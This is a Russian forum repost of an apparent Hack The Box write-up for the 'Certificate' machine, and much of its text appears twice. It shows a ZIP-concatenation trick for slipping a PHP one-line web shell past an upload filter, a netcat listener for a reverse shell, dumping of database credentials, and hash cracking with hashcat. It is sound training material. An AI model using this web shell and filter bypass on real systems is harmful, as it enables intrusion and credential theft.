- Регистрация
- 9 Май 2015
- Сообщения
- 1,562
- Баллы
- 155
Сегодня я покажу, как использовать привилегию SeManageVolume для получения «золотого сертификата» и захвата домена на Windows. Перед этим нас ждет череда других уязвимостей: мы загрузим склеенные ZIP-архивы на сайт, чтобы обойти фильтр, получим шелл, вытащим учетки из базы данных, проанализируем трафик для атаки на Kerberos и применим технику ESC3 AD CS.
Наша конечная цель — получение прав суперпользователя на машине Certificate с учебной площадки . Уровень задания — сложный.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.71 certificate.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел 13 открытых портов:
Добавляем имя контроллера домена в файл /etc/hosts.
10.10.11.71 certificate.htb dc01.certificate.htb
На хосте работает веб‑сервер, поэтому сразу просмотрим сайт.
Главная страница сайта
Точка входа
На сайте можно зарегистрироваться, обязательно сделаем это, чтобы иметь максимум возможностей.
Регистрация пользователя
На сайте ничего интересного найти не удалось, поэтому приступим к сканированию каталогов при помощи feroxbuster.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде , или . Я предпочитаю .
При запуске указываем следующие параметры:
Задаем все параметры и запускаем сканер:
feroxbuster -u -d 1 -t 128 -w php_files_common.txt
Результат сканирования каталогов с помощью feroxbuster
Находим интересные страницы вроде db.php, которая говорит об использовании базы данных, а также upload.php — для загрузки файлов. Но сама страница требует дополнительные параметры.
Содержимое страницы upload.php
Осматриваемся на сайте и находим страницу с курсами. При переходе к определенному курсу появляется страница с формой загрузки файла.
Страница курса
Форма загрузки файла
Точка опоры
Файл принимает офисные документы и ZIP-архивы. При попытке загрузить на сервер веб‑шелл в архиве получаем ошибку с пометкой о вредоносном контенте.
Ответ сервера
Однако можно воспользоваться техникой , при которой два архива будут записаны подряд в одном файле. Проверяться будет первый архив, а файлы получим из второго.
# <?=`$_GET[0]`?>
echo -n qweqwe > file.pdf
zip file.zip file.pdf
zip shell.zip shell.php
cat file.zip shell.zip > all.zip
Результат загрузки файла
При просмотре в адресной строке видим путь к файлу.
Путь к файлу
Теперь вместо file.pdf указываем свой реверс‑шелл shell.php и команду whoami.
Результат выполнения команды whoami
Запускаем листенер:
rlwrap nc -nlvp 4321
И выполняем реверс‑шелл, чтобы получить удобную командную оболочку. Получаем сессию от имени учетной записи xamppuser.
Сессия пользователя xamppuser
Продвижение
Пользователь Sara.B
Веб‑приложение использует базу данных, и в файле db.php лежат учетные данные от нее — без проблем получаем их.
Содержимое файла db.php
В XAMPP входят утилиты для работы с базами данных MySQL, можем ими воспользоваться.
Содержимое каталога xampp
Первым делом получим список баз данных.
mysql.exe -u certificate_webapp_user -p"cert!f!c@teDBPWD" -e "show databases;"
Базы данных
Перспективнее всего выглядит certificate_webapp_db. Запрашиваем список таблиц этой базы данных.
mysql.exe -u certificate_webapp_user -p"cert!f!c@teDBPWD" -e "use certificate_webapp_db; show tables;"
Таблицы в базе certificate_webapp_db
В таблице users, скорее всего, лежат учетные данные пользователей. Посмотрим поближе.
mysql.exe -u certificate_webapp_user -p"cert!f!c@teDBPWD" -e "use certificate_webapp_db; select * from users;"
Содержимое таблицы users
Сохраним хеши пользователей, у которых почта на домене certificate.htb, и пробрутим с помощью hashcat.
hashcat -m 3200 hashes.txt rockyou.txt
Результат подбора пароля
У нас один пароль, поэтому получим список пользователей домена и сохраним в файл.
net users /domain
Пользователи домена
Наша конечная цель — получение прав суперпользователя на машине Certificate с учебной площадки . Уровень задания — сложный.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.71 certificate.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел 13 открытых портов:
- 80 (HTTP) — веб‑сервер Apache 2.4.58;
- 88 — Kerberos;
- 135 — Microsoft RPC;
- 139 — NetBIOS, NetLogon;
- 389 — LDAP;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — WinRM;
- 9389 — веб‑службы AD DS.
Добавляем имя контроллера домена в файл /etc/hosts.
10.10.11.71 certificate.htb dc01.certificate.htb
На хосте работает веб‑сервер, поэтому сразу просмотрим сайт.
Главная страница сайта
Точка входа
На сайте можно зарегистрироваться, обязательно сделаем это, чтобы иметь максимум возможностей.
Регистрация пользователя
На сайте ничего интересного найти не удалось, поэтому приступим к сканированию каталогов при помощи feroxbuster.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде , или . Я предпочитаю .
При запуске указываем следующие параметры:
- -u — URL;
- -d — глубина сканирования;
- -t — количество потоков;
- -w — словарь (я использую словари из набора ).
Задаем все параметры и запускаем сканер:
feroxbuster -u -d 1 -t 128 -w php_files_common.txt
Результат сканирования каталогов с помощью feroxbuster
Находим интересные страницы вроде db.php, которая говорит об использовании базы данных, а также upload.php — для загрузки файлов. Но сама страница требует дополнительные параметры.
Содержимое страницы upload.php
Осматриваемся на сайте и находим страницу с курсами. При переходе к определенному курсу появляется страница с формой загрузки файла.
Страница курса
Форма загрузки файла
Точка опоры
Файл принимает офисные документы и ZIP-архивы. При попытке загрузить на сервер веб‑шелл в архиве получаем ошибку с пометкой о вредоносном контенте.
Ответ сервера
Однако можно воспользоваться техникой , при которой два архива будут записаны подряд в одном файле. Проверяться будет первый архив, а файлы получим из второго.
# <?=`$_GET[0]`?>
echo -n qweqwe > file.pdf
zip file.zip file.pdf
zip shell.zip shell.php
cat file.zip shell.zip > all.zip
Результат загрузки файла
При просмотре в адресной строке видим путь к файлу.
Путь к файлу
Теперь вместо file.pdf указываем свой реверс‑шелл shell.php и команду whoami.
Результат выполнения команды whoami
Запускаем листенер:
rlwrap nc -nlvp 4321
И выполняем реверс‑шелл, чтобы получить удобную командную оболочку. Получаем сессию от имени учетной записи xamppuser.
Сессия пользователя xamppuser
Продвижение
Пользователь Sara.B
Веб‑приложение использует базу данных, и в файле db.php лежат учетные данные от нее — без проблем получаем их.
Содержимое файла db.php
В XAMPP входят утилиты для работы с базами данных MySQL, можем ими воспользоваться.
Содержимое каталога xampp
Первым делом получим список баз данных.
mysql.exe -u certificate_webapp_user -p"cert!f!c@teDBPWD" -e "show databases;"
Базы данных
Перспективнее всего выглядит certificate_webapp_db. Запрашиваем список таблиц этой базы данных.
mysql.exe -u certificate_webapp_user -p"cert!f!c@teDBPWD" -e "use certificate_webapp_db; show tables;"
Таблицы в базе certificate_webapp_db
В таблице users, скорее всего, лежат учетные данные пользователей. Посмотрим поближе.
mysql.exe -u certificate_webapp_user -p"cert!f!c@teDBPWD" -e "use certificate_webapp_db; select * from users;"
Содержимое таблицы users
Сохраним хеши пользователей, у которых почта на домене certificate.htb, и пробрутим с помощью hashcat.
hashcat -m 3200 hashes.txt rockyou.txt
Результат подбора пароля
У нас один пароль, поэтому получим список пользователей домена и сохраним в файл.
net users /domain
Пользователи домена
Источник: